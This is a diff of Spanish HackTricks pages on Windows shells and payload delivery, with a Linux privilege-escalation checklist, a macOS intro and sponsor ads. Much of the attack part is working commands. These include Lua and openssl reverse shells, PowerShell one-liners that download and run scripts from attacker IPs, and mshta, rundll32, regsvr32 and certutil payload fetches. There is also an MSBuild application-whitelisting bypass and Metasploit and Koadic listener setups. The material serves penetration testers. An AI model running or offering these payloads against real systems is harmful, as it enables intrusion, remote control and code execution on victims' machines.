@ -173,17 +198,17 @@ local nombre = "Juan"
|
|||
print("Hola, " .. nombre .. "!")
|
||||
```
|
||||
|
||||
Puedes ejecutar el script utilizando el siguiente comando en el shell:
|
||||
Puedes ejecutar el script utilizando el siguiente comando:
|
||||
|
||||
```lua
|
||||
dofile("mi_script.lua")
|
||||
```
|
||||
lua mi_script.lua
|
||||
```
|
||||
|
||||
El shell de Lua ejecutará el script y mostrará el resultado en la siguiente línea.
|
||||
El shell de Lua ejecutará el script y mostrará el resultado en la ventana de comandos.
|
||||
|
||||
### Conclusiones
|
||||
|
||||
El shell de Lua en Windows es una herramienta útil para ejecutar comandos y scripts de Lua directamente desde la línea de comandos. Puedes utilizarlo para probar y depurar código Lua, así como para automatizar tareas y realizar cálculos matemáticos.
|
||||
El shell de Lua en Windows es una herramienta útil para ejecutar comandos y scripts de Lua de forma interactiva. Puedes utilizarlo para probar y depurar código Lua, así como para automatizar tareas en tu sistema. Con su simplicidad y flexibilidad, Lua es una excelente opción para aquellos que deseen explorar la programación en un entorno de shell.
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
@ -264,10 +289,6 @@ powershell.exe -c "$listener = [System.Net.Sockets.TcpListener]'<ip_atacante>',
|
|||
```
|
||||
|
||||
Esto establecerá una conexión de shell bind utilizando PowerShell.
|
||||
|
||||
## Conclusión
|
||||
|
||||
Los shells reversos y bind son técnicas útiles para interactuar con sistemas comprometidos de forma remota. Netcat y PowerShell son herramientas comunes que se pueden utilizar para crear estos shells en Windows. Es importante tener en cuenta que el uso de estas técnicas sin el consentimiento adecuado es ilegal y puede tener consecuencias legales graves.
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -287,44 +308,58 @@ Powershell permite ejecutar comandos de forma interactiva o mediante scripts. Pa
|
|||
Get-Process
|
||||
```
|
||||
|
||||
### Variables y operadores
|
||||
### Variables y tipos de datos
|
||||
|
||||
En Powershell, se pueden utilizar variables para almacenar y manipular datos. Para asignar un valor a una variable, se utiliza el operador de asignación (=). Por ejemplo:
|
||||
Powershell admite variables para almacenar y manipular datos. Las variables se pueden declarar utilizando el prefijo "$". Por ejemplo:
|
||||
|
||||
```powershell
|
||||
$nombre = "Juan"
|
||||
```
|
||||
|
||||
Powershell también admite una variedad de operadores, como operadores aritméticos (+, -, *, /), operadores de comparación (-eq, -ne, -lt, -gt), operadores lógicos (-and, -or, -not), entre otros.
|
||||
Powershell también admite diferentes tipos de datos, como cadenas de texto, números enteros y booleanos.
|
||||
|
||||
### Estructuras de control
|
||||
|
||||
Powershell ofrece varias estructuras de control para controlar el flujo de ejecución de un script. Algunas de las estructuras de control más comunes son:
|
||||
Powershell proporciona estructuras de control como bucles y condicionales para controlar el flujo de ejecución de un script. Por ejemplo, el bucle "foreach" se utiliza para iterar sobre una colección de elementos:
|
||||
|
||||
- `if`: se utiliza para ejecutar un bloque de código si se cumple una condición.
|
||||
- `foreach`: se utiliza para iterar sobre una colección de elementos.
|
||||
- `while`: se utiliza para ejecutar un bloque de código mientras se cumpla una condición.
|
||||
```powershell
|
||||
foreach ($elemento in $coleccion) {
|
||||
# hacer algo con $elemento
|
||||
}
|
||||
```
|
||||
|
||||
### Funciones
|
||||
|
||||
En Powershell, se pueden definir funciones para encapsular un bloque de código y reutilizarlo en diferentes partes de un script. Para definir una función, se utiliza la palabra clave `function`, seguida del nombre de la función y los parámetros necesarios. Por ejemplo:
|
||||
Powershell permite definir funciones para encapsular un conjunto de instrucciones y reutilizarlas en diferentes partes de un script. Por ejemplo:
|
||||
|
||||
```powershell
|
||||
function Saludar($nombre) {
|
||||
function Saludar {
|
||||
param (
|
||||
[string]$nombre
|
||||
)
|
||||
Write-Host "Hola, $nombre"
|
||||
}
|
||||
|
||||
Saludar -nombre "Juan"
|
||||
```
|
||||
|
||||
### Gestión de archivos y directorios
|
||||
|
||||
Powershell proporciona comandos y funciones para administrar archivos y directorios. Algunos de los comandos más utilizados son:
|
||||
Powershell proporciona comandos para trabajar con archivos y directorios. Por ejemplo, el comando "Get-ChildItem" se utiliza para obtener una lista de archivos y directorios en una ubicación específica:
|
||||
|
||||
- `Get-ChildItem`: muestra los archivos y directorios en una ubicación determinada.
|
||||
- `New-Item`: crea un nuevo archivo o directorio.
|
||||
- `Copy-Item`: copia un archivo o directorio.
|
||||
- `Remove-Item`: elimina un archivo o directorio.
|
||||
```powershell
|
||||
Get-ChildItem C:\Directorio
|
||||
```
|
||||
|
||||
Estas son solo algunas de las características y funcionalidades que ofrece Powershell. Con su amplia gama de comandos y capacidades de scripting, Powershell es una herramienta esencial para cualquier hacker o administrador de sistemas Windows.
|
||||
### Interacción con el sistema operativo
|
||||
|
||||
Powershell permite interactuar con el sistema operativo y realizar tareas como la creación de procesos, la modificación de variables de entorno y la gestión de servicios. Por ejemplo, el comando "Start-Process" se utiliza para iniciar un nuevo proceso:
|
||||
|
||||
```powershell
|
||||
Start-Process -FilePath "C:\Programa.exe"
|
||||
```
|
||||
|
||||
Powershell es una herramienta versátil y poderosa que puede ser utilizada para una amplia gama de tareas de administración y automatización en sistemas Windows. Con un conocimiento sólido de Powershell, los hackers pueden aprovechar su potencial para llevar a cabo ataques y pruebas de penetración de manera efectiva.
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
|
@ -369,11 +404,13 @@ It's important to note that Mshta requires the target system to have the HTML Ap
|
|||
|
||||
### Detection
|
||||
|
||||
Detecting the execution of Mshta can be challenging since it is a legitimate Windows utility. However, monitoring for suspicious command-line arguments or unusual network activity may help in identifying its usage.
|
||||
Detecting the execution of Mshta can be challenging, as it is a legitimate Windows utility. However, monitoring for suspicious command-line arguments or unusual network activity may help in identifying its usage.
|
||||
|
||||
### Mitigation
|
||||
|
||||
To mitigate the risk associated with Mshta, it is recommended to restrict its usage on systems where it is not required. Additionally, keeping the system and antivirus software up to date can help in detecting and preventing malicious HTAs from being executed.
|
||||
To mitigate the risks associated with Mshta, it is recommended to restrict its usage on systems where it is not required. Additionally, keeping the system and antivirus software up to date can help in preventing potential exploits.
|
||||
|
||||
For more information on different Powershell shells, refer to the [Powershell Shells](../shells/powershell.md) section at the end of this document.
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
|
@ -390,7 +427,7 @@ mshta \\webdavserver\folder\payload.hta
|
|||
Proceso que realiza una llamada de red: **svchost.exe**\
|
||||
Carga escrita en el disco: **caché local del cliente WebDAV**
|
||||
|
||||
#### **Ejemplo de shell inverso hta-psh (usa hta para descargar y ejecutar una puerta trasera de PowerShell)**
|
||||
#### **Ejemplo de shell inverso hta-psh (utiliza hta para descargar y ejecutar una puerta trasera de PowerShell)**
|
||||
```markup
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
|
@ -444,9 +481,7 @@ En este ejemplo, el archivo HTML ejecutará la calculadora de Windows (`calc.exe
|
|||
|
||||
- Esta técnica puede ser detectada por soluciones de seguridad que monitorean la ejecución de `mshta.exe` o analizan el contenido de los archivos `sct`. Se recomienda probar la efectividad de esta técnica en el entorno objetivo antes de su implementación.
|
||||
|
||||
- Es importante tener en cuenta que el uso de esta técnica puede ser considerado como un comportamiento malicioso y puede ser ilegal sin el consentimiento adecuado.
|
||||
|
||||
- Se recomienda utilizar esta técnica solo con fines educativos o en entornos controlados y autorizados, como parte de una evaluación de seguridad o pruebas de penetración.
|
||||
- Es importante tener en cuenta que el uso de esta técnica puede ser considerado como actividad maliciosa y puede ser ilegal sin el consentimiento adecuado. Se debe obtener el permiso y seguir las leyes y regulaciones aplicables antes de utilizar esta técnica en un entorno de prueba o en un entorno de pentesting autorizado.
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -466,13 +501,13 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
|
||||
Mshta is a Microsoft utility that allows the execution of HTML applications (HTAs) on Windows systems. It is often used by attackers to bypass security measures and execute malicious code.
|
||||
|
||||
Metasploit, a popular penetration testing framework, includes a module that leverages mshta to deliver payloads to target systems. This module, called "exploit/windows/browser/mshta", allows an attacker to create a malicious HTA file and deliver it to a victim's system.
|
||||
Metasploit, a popular penetration testing framework, includes a module called `exploit/windows/browser/mshta` that exploits the mshta utility. This module generates an HTA file that contains the payload to be executed on the target system.
|
||||
|
||||
To use this module, the attacker needs to set the "SRVHOST" and "SRVPORT" options to specify the IP address and port of the Metasploit listener. The "URIPATH" option can be used to specify a custom URI path for the HTA file.
|
||||
To use this module, you need to set the `SRVHOST`, `SRVPORT`, and `URIPATH` options. The `SRVHOST` and `SRVPORT` options specify the IP address and port on which the HTA file will be hosted. The `URIPATH` option specifies the path of the HTA file on the server.
|
||||
|
||||
Once the options are set, the attacker can run the exploit and wait for the victim to open the HTA file. When the file is opened, the payload is executed on the target system, giving the attacker remote access.
|
||||
Once the options are set, you can run the exploit by executing the `exploit` command. This will start a web server hosting the HTA file. When the target user opens the HTA file, the payload will be executed on their system.
|
||||
|
||||
It is important to note that the mshta module in Metasploit is just one of many techniques that can be used to exploit vulnerabilities in Windows systems. As a penetration tester, it is crucial to understand and utilize a variety of tools and techniques to ensure comprehensive testing and assessment of target systems.
|
||||
It is important to note that the mshta utility may trigger security alerts, as it is commonly used in malicious activities. Therefore, it is crucial to use this technique responsibly and only in authorized penetration testing scenarios.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
@ -487,7 +522,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
|
|||
|
||||
## **Rundll32**
|
||||
|
||||
[Ejemplo de "Hola Mundo" en Dll](https://github.com/carterjones/hello-world-dll)
|
||||
[Ejemplo de "hello world" en Dll](https://github.com/carterjones/hello-world-dll)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
|
@ -518,19 +553,25 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
```
|
||||
#### **Rundll32 - Metasploit**
|
||||
|
||||
Rundll32 is a Windows utility that allows the execution of DLL (Dynamic Link Library) functions. It can be used by attackers to load malicious DLLs and execute arbitrary code on a target system.
|
||||
Rundll32 is a Windows utility that allows the execution of DLL files as if they were executable files. This can be leveraged by an attacker to load and execute malicious code in the context of another process.
|
||||
|
||||
Metasploit, a popular penetration testing framework, provides a module called `windows/local/hta` that leverages Rundll32 to execute payloads. This module generates an HTA (HTML Application) file that contains the payload and uses Rundll32 to execute it.
|
||||
Metasploit, a popular penetration testing framework, provides a module called `windows/local/hta` that can be used to generate a malicious HTA file. This file can then be executed using Rundll32, allowing the attacker to gain control over the target system.
|
||||
|
||||
To use this module, follow these steps:
|
||||
To use this technique, follow these steps:
|
||||
|
||||
1. Set the `PAYLOAD` option to the desired payload.
|
||||
2. Set the `LHOST` and `LPORT` options to the IP address and port of the listener.
|
||||
3. Run the exploit using the `exploit` command.
|
||||
1. Generate the malicious HTA file using the `windows/local/hta` module in Metasploit.
|
||||
2. Transfer the HTA file to the target system.
|
||||
3. Execute the HTA file using Rundll32 with the following command:
|
||||
|
||||
Once the exploit is successful, the payload will be executed on the target system. This technique can be used to gain remote access or perform other malicious activities on a compromised system.
|
||||
```
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://<attacker_ip>/payload.txt",false);try{h.Send();b=h.ResponseBody;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c echo " + e.message);}
|
||||
```
|
||||
|
||||
It is important to note that the use of Rundll32 for malicious purposes is considered suspicious behavior and can be detected by security tools. Therefore, it is crucial to use this technique responsibly and only in authorized penetration testing scenarios.
|
||||
Replace `<attacker_ip>` with the IP address of the machine running the Metasploit listener.
|
||||
|
||||
4. The HTA file will be executed, and the payload will be downloaded from the specified URL and executed on the target system.
|
||||
|
||||
This technique can be used to bypass security measures that may block the execution of certain file types, as Rundll32 allows the execution of DLL files. It is important to note that this technique relies on social engineering to trick the user into executing the HTA file.
|
||||
```bash
|
||||
use windows/smb/smb_delivery
|
||||
run
|
||||
|
@ -538,15 +579,15 @@ run
|
|||
```
|
||||
**Rundll32 - Koadic**
|
||||
|
||||
Rundll32 is a Windows utility that allows the execution of DLL files as functions. This can be leveraged by attackers to load malicious DLLs and execute their code. One popular tool that utilizes this technique is Koadic.
|
||||
Rundll32 is a Windows utility that allows the execution of DLL files as functions. This can be leveraged by hackers to load malicious DLLs and execute their code. One popular tool that utilizes Rundll32 for post-exploitation is Koadic.
|
||||
|
||||
Koadic is a post-exploitation RAT (Remote Access Trojan) that provides a command-and-control interface to interact with compromised systems. It uses the rundll32 utility to load its DLL payload and establish a backdoor on the target machine.
|
||||
Koadic is a post-exploitation RAT (Remote Access Trojan) that provides a command and control (C2) framework for Windows systems. It allows hackers to gain remote access to compromised machines and perform various malicious activities.
|
||||
|
||||
To use Koadic, the attacker first needs to generate a malicious DLL payload using the Koadic framework. This payload is then loaded using the rundll32 utility, which executes the code contained within the DLL. Once the payload is executed, the attacker gains remote access to the compromised system and can perform various malicious activities.
|
||||
To use Koadic, the attacker first needs to establish a foothold on the target system. This can be achieved through various means, such as exploiting vulnerabilities, social engineering, or phishing attacks. Once the attacker has gained access, they can use Rundll32 to load the Koadic DLL and establish a connection with the C2 server.
|
||||
|
||||
Koadic provides a wide range of features, including file system access, keylogging, screenshot capture, and network reconnaissance. It also supports multiple communication channels, such as HTTP, DNS, and ICMP, making it difficult to detect and block.
|
||||
Once the connection is established, the attacker can remotely control the compromised system and perform actions such as executing commands, uploading and downloading files, capturing screenshots, and even pivoting to other systems on the network.
|
||||
|
||||
To prevent attacks utilizing Rundll32 and Koadic, it is important to implement strong security measures, such as regularly updating software, using strong passwords, and employing network segmentation. Additionally, monitoring network traffic and using intrusion detection systems can help detect and mitigate potential threats.
|
||||
Koadic provides a wide range of features and modules that can be used for different purposes, making it a powerful tool for post-exploitation activities. However, it is important to note that the use of Koadic or any other hacking tool for unauthorized activities is illegal and unethical. This information is provided for educational purposes only.
|
||||
```bash
|
||||
use stager/js/rundll32_js
|
||||
set SRVHOST 192.168.1.107
|
||||
|
@ -577,21 +618,17 @@ regsvr32 /u <ruta_del_archivo>
|
|||
|
||||
Donde `<ruta_del_archivo>` es la ubicación completa del archivo DLL o control ActiveX que se desea desregistrar.
|
||||
|
||||
### Ejemplos de uso
|
||||
### Consideraciones de seguridad
|
||||
|
||||
Para registrar una DLL llamada "mi_dll.dll" ubicada en el directorio "C:\Archivos de programa\MiPrograma", se utiliza el siguiente comando:
|
||||
Es importante tener en cuenta que Regsvr32 puede ser utilizado por atacantes para ejecutar código malicioso en un sistema comprometido. Por lo tanto, se recomienda tomar las siguientes precauciones:
|
||||
|
||||
```
|
||||
regsvr32 "C:\Archivos de programa\MiPrograma\mi_dll.dll"
|
||||
```
|
||||
- Verificar la integridad de los archivos DLL y controles ActiveX antes de registrarlos.
|
||||
- Utilizar Regsvr32 solo en archivos de confianza y provenientes de fuentes confiables.
|
||||
- Mantener el sistema operativo y las aplicaciones actualizadas para evitar vulnerabilidades conocidas que puedan ser explotadas mediante Regsvr32.
|
||||
|
||||
Para desregistrar la misma DLL, se utiliza el siguiente comando:
|
||||
### Conclusiones
|
||||
|
||||
```
|
||||
regsvr32 /u "C:\Archivos de programa\MiPrograma\mi_dll.dll"
|
||||
```
|
||||
|
||||
Es importante tener en cuenta que se debe ejecutar el comando con privilegios de administrador para poder registrar o desregistrar bibliotecas de vínculos dinámicos y controles ActiveX en el Registro del sistema.
|
||||
Regsvr32 es una herramienta útil para la instalación y desinstalación de DLL y controles ActiveX en sistemas Windows. Sin embargo, es importante utilizarla con precaución y tomar medidas de seguridad para evitar posibles ataques.
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
|
@ -624,21 +661,19 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
```
|
||||
#### **Regsvr32 - Metasploit**
|
||||
|
||||
Regsvr32 is a Windows command-line utility used to register and unregister DLL files. It can also be used as a technique to execute malicious code on a target system. Metasploit, a popular penetration testing framework, provides a module called `regsvr32_command_delivery` that leverages this technique.
|
||||
Regsvr32 is a Windows command-line utility used to register and unregister DLL files. It can also be used as a technique to execute arbitrary code on a target system. Metasploit, a popular penetration testing framework, provides a module called `regsvr32_command_delivery` that leverages this technique.
|
||||
|
||||
The `regsvr32_command_delivery` module generates a malicious DLL file that, when registered using the `regsvr32` utility, will execute a specified command. This can be useful for bypassing security measures that may block other methods of code execution.
|
||||
The `regsvr32_command_delivery` module generates a malicious DLL file and registers it using the regsvr32 utility. When the DLL is registered, the code within it is executed, allowing the attacker to gain control over the target system.
|
||||
|
||||
To use this module, you need to set the `CMD` option to the command you want to execute on the target system. You can also set the `DLL_NAME` option to specify the name of the generated DLL file. Once the options are set, you can run the module using the `exploit` command.
|
||||
To use this module, follow these steps:
|
||||
|
||||
After the DLL file is generated, you can transfer it to the target system using various methods such as email, file sharing, or web delivery. Once the DLL file is on the target system, you can execute the command by running the following command:
|
||||
1. Set the payload to be delivered. This can be a reverse shell or any other payload supported by Metasploit.
|
||||
2. Set the `LHOST` and `LPORT` options to specify the IP address and port where the reverse shell will connect back to.
|
||||
3. Run the module.
|
||||
|
||||
```
|
||||
regsvr32 /s /n /u /i:<DLL_NAME> <DLL_PATH>
|
||||
```
|
||||
Once the module is executed successfully, the attacker will have a reverse shell on the target system, providing them with remote access and control.
|
||||
|
||||
Where `<DLL_NAME>` is the name of the generated DLL file and `<DLL_PATH>` is the path to the DLL file on the target system.
|
||||
|
||||
It is important to note that this technique may be detected by antivirus software, so it is recommended to use it in controlled environments or with proper authorization.
|
||||
It is important to note that this technique may trigger antivirus alerts, as it involves the execution of code from a DLL file. Therefore, it is recommended to use this technique in controlled environments or with proper authorization.
|
||||
```bash
|
||||
use multi/script/web_delivery
|
||||
set target 3
|
||||
|
@ -661,9 +696,7 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
|
|||
```
|
||||
**Detectado por el defensor**
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -790,9 +823,9 @@ Extraído de [aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075
|
|||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
Proceso que realiza una llamada de red: **svchost.exe**\
|
||||
Carga escrita en disco: **caché local del cliente WebDAV**
|
||||
Carga escrita en el disco: **caché local del cliente WebDAV**
|
||||
|
||||
Puedes utilizar esta técnica para evadir la lista blanca de aplicaciones y las restricciones de Powershell.exe. Se te solicitará una shell de PS.\
|
||||
Puedes utilizar esta técnica para evadir la lista blanca de aplicaciones y las restricciones de Powershell.exe. Se te solicitará una shell de PowerShell.\
|
||||
Simplemente descarga esto y ejecútalo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
|
@ -923,7 +956,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Consola de PS con algunos mód
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -36,7 +36,7 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
### [Información del sistema](privilege-escalation/#system-information)
|
||||
|
||||
* [ ] Obtener información del **sistema operativo**
|
||||
* [ ] Verificar la [**ruta**](privilege-escalation/#path), ¿alguna carpeta **escribible**?
|
||||
* [ ] Verificar la [**RUTA**](privilege-escalation/#path), ¿alguna carpeta **escribible**?
|
||||
* [ ] Verificar las [**variables de entorno**](privilege-escalation/#env-info), ¿algún detalle sensible?
|
||||
* [ ] Buscar [**exploits del kernel**](privilege-escalation/#kernel-exploits) **usando scripts** (DirtyCow?)
|
||||
* [ ] Verificar si la versión de **sudo es vulnerable**](privilege-escalation/#sudo-version)
|
||||
|
@ -66,16 +66,16 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
### [¿Tareas programadas/Cron jobs?](privilege-escalation/#scheduled-jobs)
|
||||
|
||||
* [ ] ¿Se está modificando la [**ruta**](privilege-escalation/#cron-path) por algún cron y puedes **escribir** en ella?
|
||||
* [ ] ¿Se está modificando la [**RUTA**](privilege-escalation/#cron-path) por algún cron y puedes **escribir** en ella?
|
||||
* [ ] ¿Algún [**comodín**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) en un trabajo cron?
|
||||
* [ ] ¿Algún [**script modificable**](privilege-escalation/#cron-script-overwriting-and-symlink) se está **ejecutando** o está dentro de una **carpeta modificable**?
|
||||
* [ ] ¿Algún script [**modificable**](privilege-escalation/#cron-script-overwriting-and-symlink) se está **ejecutando** o está dentro de una **carpeta modificable**?
|
||||
* [ ] ¿Has detectado que algún **script** podría estar o se está **ejecutando con mucha frecuencia**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
|
||||
|
||||
### [Servicios](privilege-escalation/#services)
|
||||
|
||||
* [ ] ¿Algún archivo **.service escribible**?
|
||||
* [ ] ¿Algún **binario escribible** ejecutado por un **servicio**?
|
||||
* [ ] ¿Alguna **carpeta escribible en la ruta de systemd**?
|
||||
* [ ] ¿Algún archivo **.service** escribible?
|
||||
* [ ] ¿Algún binario **escribible** ejecutado por un **servicio**?
|
||||
* [ ] ¿Algún carpeta **escribible en la RUTA de systemd**?
|
||||
### [Temporizadores](privilege-escalation/#timers)
|
||||
|
||||
* [ ] ¿Algún temporizador **editable**?
|
||||
|
@ -156,24 +156,24 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
* [ ] **Archivos conocidos que contienen contraseñas**: Usa **Linpeas** y **LaZagne**
|
||||
* [ ] **Búsqueda genérica**
|
||||
|
||||
### [Archivos editables](privilege-escalation/#writable-files)
|
||||
### [**Archivos editables**](privilege-escalation/#writable-files)
|
||||
|
||||
* [ ] ¿Modificar biblioteca de Python para ejecutar comandos arbitrarios?
|
||||
* [ ] ¿Puedes **modificar archivos de registro**? Explotar Logtotten
|
||||
* [ ] ¿Puedes **modificar /etc/sysconfig/network-scripts/**? Explotar Centos/Redhat
|
||||
* [ ] ¿Puedes [**escribir en archivos ini, int.d, systemd o rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
|
||||
|
||||
### [Otros trucos](privilege-escalation/#other-tricks)
|
||||
### [**Otros trucos**](privilege-escalation/#other-tricks)
|
||||
|
||||
* [ ] ¿Puedes [**abusar de NFS para elevar privilegios**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] ¿Necesitas [**escapar de una shell restrictiva**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando los clientes depositan el presupuesto de recompensa. Recibirás la recompensa después de que se verifique el error.
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Recibirás la recompensa después de que se verifique el error.
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
@ -190,8 +190,8 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -31,7 +31,7 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
## Conceptos básicos de MacOS
|
||||
|
||||
Si no estás familiarizado con macOS, debes comenzar aprendiendo los conceptos básicos de macOS: 
|
||||
Si no estás familiarizado con macOS, debes comenzar aprendiendo los conceptos básicos de macOS:
|
||||
|
||||
* **Archivos y permisos especiales** de macOS:
|
||||
|
||||
|
@ -65,7 +65,7 @@ Si no estás familiarizado con macOS, debes comenzar aprendiendo los conceptos b
|
|||
|
||||
### MacOS MDM
|
||||
|
||||
En las empresas, los sistemas **macOS** probablemente estén **gestionados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona eso**:
|
||||
En las empresas, los sistemas **macOS** probablemente estén **gestionados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona**:
|
||||
|
||||
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
|
||||
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
||||
|
@ -173,7 +173,7 @@ En primer lugar, tenga en cuenta que **la mayoría de los trucos sobre escalada
|
|||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
